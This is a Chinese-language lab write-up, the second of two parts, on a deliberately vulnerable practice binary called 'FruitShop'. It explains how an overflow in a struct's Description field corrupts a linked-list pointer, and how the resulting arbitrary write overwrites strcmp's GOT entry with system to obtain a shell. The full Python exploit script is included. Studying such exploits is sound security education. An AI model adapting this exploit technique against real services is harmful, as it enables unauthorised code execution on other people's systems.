Pwn FruitShop的故事(下)

栏目: 服务器 · 发布时间: 5年前

内容简介:在上一篇为便于大家复现,提供样本ELF程序和样本源码,可以在x64的linux虚拟机上运行。

Pwn FruitShop的故事(下)

Pwn FruitShop的故事(下)

在上一篇 Pwn FruitShop的故事(上) 中我们介绍了目标样本产生的背景并分享了一个64位栈溢出漏洞的利用方式。本次我们将继续分享一个64位内存任意写的漏洞,并在系统开启ASLR的环境下完成漏洞的利用。

为便于大家复现,提供样本ELF程序和样本源码,可以在x64的 linux 虚拟机上运行。

环境:Ubuntu 16.04 x64

分析的样本程序:f2_x64_point

链接: https://pan.baidu.com/s/1Ju18mj3i0-WVHFim-7A6ng

提取码:ofmn

对应样本的源代码:f2_x64_point.cpp

链接: https://pan.baidu.com/s/14ItVEwVQ5jWJTPpM6syYWg

提取码:zwlm

0x00 样本分析

在第一轮的筛选中,我们通过 checksec 对目标程序采用的安全机制进行检测,筛出了一个没有在栈中开启 Canary 保护的样本。在第二轮的筛选中,我们通过IDA对剩余样本进行静态分析,筛选出一个结构体中变量溢出导致的内存任意写漏洞的样本程序。

该程序的checksec结果如下:

Pwn FruitShop的故事(下)

通过IDA分析,该程序虽然在很多地方对输入字符串的长度没有做合法性检查,但由于有 Canary 保护机制的存在,我们无法使用覆盖返回地址的方法对栈溢出漏洞进行利用。但是,可以注意到我们是可以修改 .got.plt 表。

首先我们针对其水果的结构体和链表结构进行分析:

Pwn FruitShop的故事(下)

通过IDA静态分析其水果链表的创建过程,可见一个水果节点结构体的大小为0x90=144B大小。

Pwn FruitShop的故事(下)

该函数为初始化水果链表的过程,结合F5将汇编代码转换为伪C代码,可以分析出一个水果节点的结构体为:

# Struct Comm 144B
# 0x00  int No;                     //4B
# 0x04  char name[20];              //20B
# 0x18  double price;               //8B
# 0x20  int count;                  //4B
# 0x24  char Description[100];      //100B
# 0x88  struct commdity *next;      //8B

0x01 漏洞成因

Pwn FruitShop的故事(下)

通过对ChangeFruit函数的分析和已分析出的水果节点结构体,我们发现由于没有对结构体中的Description的输入做长度的检测,而Description后面紧跟的是 *next 指针。我们可以通过溢出Description来覆盖 *next 的值,使我们控制 *next 指针。

控制了 *next 指针后,就可以通过改写链表头结点的 *next ,再调用 ChangeFruit() 函数对链表结点中 *next 指向的内存空间进行赋值,从而造成了内存任意写的漏洞。

Pwn FruitShop的故事(下)

0x02 漏洞利用

进行动态调试和分析,使用GDB工具。先在Ubuntu虚拟机终端上运行:

socat tcp-l:8888,reuseaddr,fork exec:"stdbuf -i0 -o0 -e0 ./f2_x64_point"

在利用nc连接虚拟机端口,用ps -e查看f2_x64_point进程的pid,再用 gdb attach [pid] 上对应pid的进程结合断点进行调试。

已分析出目标程序有任意内存写的漏洞后,再配合 .got.plt 表可写和No PIE,就可以利用改写 .got.plt 表中某函数对应的地址完成漏洞的利用。

<1>.got.plt表中覆盖函数的选择

Pwn FruitShop的故事(下) 通过分析程序的流程,在管理员登录的login函数中,我们发现strcmp系统调用符合漏洞利用的要求,如果我们能将 .got.plt 表中的对应 strcmp@.got.plt 函数的地址改为 system@.plt 的地址(0x4007C0),就可以通过输入name来给strcmp函数传入参数,继而等价于给system函数传入参数并执行,从而利用漏洞执行了恶意代码。

Pwn FruitShop的故事(下) Pwn FruitShop的故事(下)

<2>.got.plt表覆盖过程

通过逆向得到管理员的账户和密码,admin/123,利用 Python 编写socket通信程序实现与fshop_b7的交互。

利用下图来说明strcmp@.got.plt改写的过程。

Pwn FruitShop的故事(下)
login('admin','123')

def changeFruit(id,price,amount,des):
    client.sendall(bytes('2n', encoding='ascii'))
    sendData(id + 'n')
    sendData(price + 'n')
    sendData(amount + 'n')
    sendBin(des)

①首先调用ChangeFruit函数修改第一个水果节点,通过控制Description来覆盖 *next 指针的值,使其指向一片暂时无用的内存区域,即地址b(0x602270)

bHex1 = b'x41'*100 + 
        b'x70x22x60x00' 
        b'x0Dx0A'
changeFruit('1','0','0',bHex1)

调用ChangeFruit函数修改第一个水果节点后的第一个结点内存数据,红框内是我们控制的指想第二个节点的 *next 的数值。

Pwn FruitShop的故事(下)

②调用ChangeFruit函数修改第二个水果节点,由于第一个水果节点的 *next 已被我们控制,即可以在指定的第二个水果节点写入我们期望的值。

由于 strcmp@.got.plt 地址为0x602058,则第三个水果节点的起始地址为0x602058-0x24=0x602034,我们要通过漏洞修改这个地址对应的值,但由于该地址中含有0x20,0x20会使 scanf("%s",comm->Description) 的输入会发生截断,因而无法通过 scanf("%s",comm->Description) 传入0x20,但可以通过 scanf("%d",&comm->count) 利用count数量来传入带0x20的地址。 Int(0x602034)=6299700

changeFruit('2','0','6299700',b'x00x0Dx0A')

调用ChangeFruit函数修改第二个水果节点后的第二个结点内存数据,利用count(水果数量)传入0x602034

Pwn FruitShop的故事(下)

PS:如果使用Struct Commdity中的int count对strcmp@.got.plt进行覆盖,

会导致system@.got.plt也会被覆盖,导致程序流程中调用system函数时出现错误!利用失败。

0x602058-0x20=0x602038 => int:6299704 fail!

③再调用ChangeFruit函数修改第一个水果节点,重新修改 *next 指针,指向0x602270+0x20-0x88=0x602208的地址。新的第二个水果节点的 *next 指针的对应的值就为0x602034。见上图蓝色箭头和虚线框,指的是第②步中第二节点的数据结构。

bHex2 = b'x41'*100 + 
        b'x08x22x60x00' 
        b'x0Dx0A'
# 0x602270+0x20-0x88=0x602208
changeFruit('1','0','0',bHex2)

再调用ChangeFruit函数修改第一个水果节点,重新修改*next指针,完成后的3个结点内存数据

Pwn FruitShop的故事(下)

④通过上面3步,此时第三个节点的起始地址为0x602034,调用ChangeFruit函数修改第三个水果节点,通过控制Description,改写0x602058地址对应的值,改为0x4007C0,完成 strcmp@.got.plt 的改写,之后在程序中调用strcmp函数就等同于调用system函数。

changeFruit('3','0','0',b'xC0x07x40x00x00x00x00x0Dx0A')

调用ChangeFruit函数修改第三个水果节点后,第三个结点内存数据(已完成对strcmp@.got.plt的修改)

Pwn FruitShop的故事(下)

⑤利用脚本交互,输入3,退出login函数,再输入0,重新进入login函数。

此时调用strcmp就是调用system函数,利用name传入想要执行的命令,即可被传入system函数实现执行,完成漏洞的利用,得到了shell。

sendData('3n')
sendData('0n')

while(1):
    command = input('[+] Shell>')
    sendData(command + 'n')
    sendData('27n')

Pwn FruitShop的故事(下)

完整利用过程:

Pwn FruitShop的故事(下)

完整利用代码:

import socket
import time

targetIp = '192.168.150.137'
targetPort = 8888

client = socket.socket()
client.connect((targetIp,targetPort))

def sendData(strData):
    bHex = bytes(strData, encoding='ascii')
    client.sendall(bHex)
    time.sleep(0.2)
    data = client.recv(1024)
    try:
        print(str(data, "ascii"))
    except:
        print(data)

def sendBin(bHex):
    client.sendall(bHex)
    time.sleep(0.2)
    data = client.recv(1024)
    try:
        print(str(data, "ascii"))
    except:
        print(data)

def login(user,password):
    sendData('0n')
    sendData(user + 'n')
    sendData(password + 'n')

def changeFruit(id,price,amount,des):
    client.sendall(bytes('2n', encoding='ascii'))
    sendData(id + 'n')
    sendData(price + 'n')
    sendData(amount + 'n')
    sendBin(des)

login('admin','123')

bHex1 = b'x41'*100 + 
        b'x70x22x60x00' 
        b'x0Dx0A'

changeFruit('1','0','0',bHex1)
changeFruit('2','0','6299700',b'x00x0Dx0A')

bHex2 = b'x41'*100 + 
        b'x08x22x60x00' 
        b'x0Dx0A'

changeFruit('1','0','0',bHex2)
changeFruit('3','0','0',b'xC0x07x40x00x00x00x00x0Dx0A')

sendData('3n')
sendData('0n')

print('**E*************l***********t*********D*********e*******************')
print('*****x*************o***********!*********o*********!*****************')
print('********p************i**********************n************************')

while(1):
    command = input('[+] Shell>')
    sendData(command + 'n')
    sendData('27n')

0x03 结语

通过分享对2个样本的漏洞定位和利用过程,加深了对Linux漏洞利用技术的了解,同时希望能与各位大佬们相互交流,共同进步。作为刚刚跨入安全行业的小白,还有很多东西需要向大家学习,请大家多多指教~


以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

JavaScript设计模式

JavaScript设计模式

Ross Harmes、Dustin Diaz / 谢廷晟 / 人民邮电出版社 / 2008 / 45.00元

本书共有两部分。第一部分给出了实现具体设计模式所需要的面向对象特性的基础知识,主要包括接口、封装和信息隐藏、继承、单体模式等内容。第二部分则专注于各种具体的设计模式及其在JavaScript语言中的应用,主要介绍了工厂模式、桥接模式、组合模式、门面模式等几种常见的模式。为了让每一章中的示例都尽可能地贴近实际应用,书中同时列举了一些JavaScript 程序员最常见的任务,然后运用设计模式使其解决方......一起来看看 《JavaScript设计模式》 这本书的介绍吧!

CSS 压缩/解压工具
CSS 压缩/解压工具

在线压缩/解压 CSS 代码

SHA 加密
SHA 加密

SHA 加密工具

Markdown 在线编辑器
Markdown 在线编辑器

Markdown 在线编辑器